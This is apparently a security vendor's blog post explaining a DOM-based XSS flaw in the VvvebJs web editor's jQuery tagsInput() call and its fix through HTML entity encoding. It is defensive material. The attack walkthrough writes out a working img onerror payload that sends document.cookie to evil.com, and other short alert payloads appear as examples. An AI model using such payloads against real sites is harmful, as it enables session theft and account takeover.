Back to Blog
critical SEVERITY6 min read

How DOM-Based XSS Happens in jQuery tagsInput() and How to Fix It

A DOM-based Cross-Site Scripting (XSS) vulnerability was discovered in the VvvebJs web editor's `inputs.js` file where the jQuery `tagsInput()` function at line 932 directly inserted user-controlled data into the DOM without sanitization. The fix applies HTML entity encoding to all string values before they reach the DOM, preventing malicious script injection while preserving legitimate tag functionality.

O
By Orbis AppSec
Published August 17, 2026Reviewed August 17, 2026

Answer Summary

This is a DOM-based Cross-Site Scripting (XSS) vulnerability (CWE-79) in JavaScript/jQuery where the `tagsInput()` function in VvvebJs's `inputs.js` inserts user-controlled data directly into the DOM without sanitization. The fix creates a sanitized copy of the data object, encoding all string properties as HTML entities using jQuery's `.text().html()` pattern before passing them to `tagsInput()`.

Vulnerability at a Glance

cweCWE-79
fixHTML entity encoding of all string properties via jQuery's `$('<div>').text(value).html()` before DOM insertion
riskArbitrary JavaScript execution in the context of the web editor session
languageJavaScript (jQuery)
root causeUser-controlled tag data passed directly to tagsInput() without HTML encoding
vulnerabilityDOM-Based Cross-Site Scripting (XSS)

Introduction

The _editor/VvvebJs/libs/builder/inputs.js file handles the rendering of various input components in the VvvebJs visual web editor, including a tag input system that lets users add and manage tags. At line 932, within the TagsInput component's init method, a critical flaw existed: the data object—which contains user-controlled values—was passed directly to jQuery's tagsInput() function without any sanitization. This meant that any string value a user typed into a tags field could be rendered as raw HTML in the DOM, opening the door to arbitrary JavaScript execution.

This vulnerability is particularly dangerous in a web editor context because editors typically operate with elevated privileges—access to page content, design elements, and potentially backend APIs. An attacker exploiting this XSS could hijack the editor session, modify page content silently, or exfiltrate sensitive data.

The Vulnerability Explained

The Vulnerable Code

Here's the original code at line 932 of inputs.js:

this.element = this.render("tagsinput", data);

$('input', this.element).tagsInput(data);//using default parameters

The data object flows from user interaction—specifically the values users type into tag input fields. The tagsInput() jQuery plugin takes this data and renders it into DOM elements. When data contains string properties (like tag names, placeholders, or default values), these strings are inserted into the HTML structure of the tags widget without any encoding.

How the Attack Works

Consider this specific attack scenario in the VvvebJs editor:

  1. An attacker crafts a malicious tag value such as:
    <img src=x onerror="document.location='https://evil.com/steal?cookie='+document.cookie">

  2. This value enters the data object that gets passed to TagsInput.init()

  3. When $('input', this.element).tagsInput(data) executes, the plugin renders the tag value directly into the DOM

  4. The browser parses the injected <img> tag, triggers the onerror handler, and executes the attacker's JavaScript

  5. The malicious script now runs in the context of the web editor, with access to:
    - The editor's session cookies
    - The DOM of the page being edited
    - Any API endpoints the editor communicates with
    - Local storage data

In a multi-user environment (like a CMS), an attacker could inject a malicious tag that persists and fires when another user opens the editor, creating a stored XSS attack chain.

Real-World Impact

For the VvvebJs web editor specifically:
- Session hijacking: Steal editor authentication tokens
- Content manipulation: Silently inject malicious content into pages being designed
- Privilege escalation: If the editor has admin capabilities, the attacker gains admin access
- Supply chain attack: Inject malicious scripts into pages that will be served to end users

The Fix

The fix introduces HTML entity encoding for all string values in the data object before they reach the tagsInput() function:

Before (Vulnerable)

this.element = this.render("tagsinput", data);

$('input', this.element).tagsInput(data);//using default parameters

return this.element;

After (Fixed)

this.element = this.render("tagsinput", data);

let safeData = Object.assign({}, data);
for (let key in safeData) {
    if (typeof safeData[key] === 'string') {
        safeData[key] = $('<div>').text(safeData[key]).html();
    }
}
$('input', this.element).tagsInput(safeData);//using default parameters

return this.element;

How This Fix Works

  1. Object.assign({}, data) — Creates a shallow copy of the original data object. This preserves the original data for any other use while creating a sanitized version for DOM insertion.

  2. for (let key in safeData) — Iterates over every property in the data object, ensuring no string value is missed.

  3. typeof safeData[key] === 'string' — Only processes string values, leaving numbers, booleans, and objects untouched (since only strings can contain HTML injection payloads).

  4. $('<div>').text(safeData[key]).html() — This is the jQuery idiom for HTML entity encoding:
    - .text(value) sets the text content of a detached <div>, which automatically escapes HTML entities
    - .html() retrieves the escaped HTML string
    - Characters like <, >, ", ', and & become &lt;, &gt;, &quot;, &#39;, and &amp;

After encoding, the malicious payload <img src=x onerror="alert(1)"> becomes the harmless string &lt;img src=x onerror=&quot;alert(1)&quot;&gt; which renders as visible text rather than executable HTML.

Prevention & Best Practices

1. Encode at the Point of Output

Always sanitize data immediately before it enters a dangerous sink (DOM insertion, innerHTML, etc.), not at the point of input. This ensures protection even if data flows through unexpected paths.

2. Use Safe DOM APIs

Prefer .textContent or jQuery's .text() over .innerHTML or .html() when rendering user data. These APIs treat all input as text, never as HTML.

3. Content Security Policy (CSP)

Deploy a strict Content Security Policy that blocks inline script execution:

Content-Security-Policy: script-src 'self'; object-src 'none';

4. Audit jQuery Plugin Usage

jQuery plugins like tagsInput() often use .html() internally. When passing user data to third-party plugins, always pre-sanitize the input since you can't control the plugin's internal DOM handling.

5. Use DOMPurify for Complex HTML

For cases where some HTML formatting is needed, use a library like DOMPurify:

import DOMPurify from 'dompurify';
safeData[key] = DOMPurify.sanitize(safeData[key]);

6. Static Analysis Integration

Configure ESLint with security plugins or Semgrep rules to flag patterns where user data flows into jQuery DOM manipulation functions without encoding.

Key Takeaways

  • Never pass raw user data to jQuery plugins that manipulate the DOM — the tagsInput() function at line 932 blindly trusted its input, creating an XSS vector in a web editor with elevated privileges.
  • The $('<div>').text(value).html() pattern is jQuery's standard encoding idiom — it leverages the browser's built-in text node escaping to safely encode HTML entities without external libraries.
  • Shallow-copying with Object.assign({}, data) before sanitization preserves the original data object for other consumers while ensuring the DOM-bound copy is safe.
  • Web editors are high-value XSS targets — because they operate with broad DOM access and often connect to backend APIs, a single XSS in VvvebJs's input handling could cascade into content injection across all pages built with the editor.
  • Type-checking before encoding (typeof === 'string') ensures the fix doesn't break non-string configuration values like numeric limits or boolean flags that tagsInput() may also expect.

How Orbis AppSec Detected This

  • Source: User-controlled string values entering the data parameter of the TagsInput.init() method in _editor/VvvebJs/libs/builder/inputs.js
  • Sink: $('input', this.element).tagsInput(data) at line 932, which inserts string properties directly into the DOM via the jQuery tagsInput plugin
  • Missing control: No HTML entity encoding or sanitization between user input and DOM insertion
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • Fix: Added HTML entity encoding via $('<div>').text(value).html() for all string properties in the data object before passing to tagsInput()

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This DOM-based XSS vulnerability in VvvebJs's TagsInput component demonstrates a common but dangerous pattern in jQuery applications: trusting user data when passing it to plugins that manipulate the DOM. The fix is surgical and effective—encoding string values at the last safe moment before they enter the dangerous sink. For developers building web editors or any application that renders user-provided content, this serves as a reminder that every path from user input to DOM insertion must include proper output encoding, regardless of whether you control the rendering logic or delegate it to a third-party plugin.

References

Frequently Asked Questions

What is DOM-based XSS?

DOM-based XSS occurs when client-side JavaScript writes user-controlled data directly into the DOM without sanitization, allowing attackers to inject and execute malicious scripts in the victim's browser.

How do you prevent DOM-based XSS in jQuery?

Use jQuery's `.text()` method instead of `.html()` for user data, or encode strings with `$('<div>').text(untrustedData).html()` before inserting them into the DOM. Never pass raw user input to functions that manipulate innerHTML.

What CWE is DOM-based XSS?

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). DOM-based XSS is a subtype where the vulnerability exists entirely in client-side code.

Is input validation alone enough to prevent DOM-based XSS?

No. While input validation helps, output encoding at the point of DOM insertion is the primary defense. Context-aware encoding ensures that even if validation is bypassed, the data cannot be interpreted as executable code.

Can static analysis detect DOM-based XSS?

Yes. Static analysis tools can trace data flow from user-controlled sources (like input fields) to dangerous sinks (like innerHTML or jQuery's .html()). Tools like Semgrep, ESLint security plugins, and specialized SAST scanners can identify these patterns.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #161

Related Articles

critical

How Stored Cross-Site Scripting (Stored XSS) Happens in JavaScript Map Components and How to Fix It

A critical vulnerability in the content-map component allowed attackers to inject malicious JavaScript through unsanitized title and description fields displayed in map marker popups. By implementing proper HTML entity escaping on both Leaflet and Google Maps implementations, the vulnerability was completely eliminated while preserving all legitimate functionality.

critical

How Cross-Site Scripting (XSS) happens in JavaScript innerHTML and how to fix it

A critical Cross-Site Scripting (XSS) vulnerability was discovered in `js/main.js` where commit messages fetched from the GitHub API were directly interpolated into `innerHTML` without any sanitization. An attacker with repository write access could push a commit with a malicious message like `<img src=x onerror=alert(document.cookie)>`, causing arbitrary JavaScript execution in every visitor's browser. The fix applies HTML entity encoding to all five dangerous characters before rendering.

critical

How Cross-Site Scripting (XSS) happens in JavaScript template rendering and how to fix it

A cross-site scripting (XSS) vulnerability in `renderer/views/library.js` allowed attackers who could control mod metadata—such as category icons rendered in pack thumbnail grids—to inject arbitrary JavaScript through unescaped output in `innerHTML` assignments. The fix wraps the `catIcon()` return value in the existing `esc()` helper, ensuring all dynamically generated HTML content is properly encoded before insertion into the DOM.

critical

How XSS via unescaped sender_name happens in JavaScript chat widgets and how to fix it

A stored Cross-Site Scripting (XSS) vulnerability in `frontend/scripts/chat-widget.js` allowed attackers to inject arbitrary JavaScript by crafting a malicious `sender_name` field, which was interpolated directly into a DOM template string without HTML encoding. The `renderFileContent()` function compounded the risk by also inserting unsanitized `file.name` and `file.url` values into `img`, `span`, and `anchor` elements. The fix applies `AppUtils.escapeHTML()` to every user-controlled value befo

critical

How HTML sanitizer bypass via XMP tag passthrough happens in Node.js and how to fix it

A critical cross-site scripting (XSS) vulnerability in the sanitize-html library allowed attackers to bypass HTML sanitization through improper handling of the `<xmp>` raw-text element. This vulnerability could enable stored XSS attacks in any Node.js application using sanitize-html versions prior to 2.17.4. The fix involved upgrading the library to properly handle raw-text elements and prevent script injection.

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package version 1.8.3, where unescaped line terminators could allow attackers to execute arbitrary code. This fix upgrades shell-quote to version 1.9.0 using npm overrides to ensure all instances in the dependency tree are patched, eliminating the attack vector across the entire application.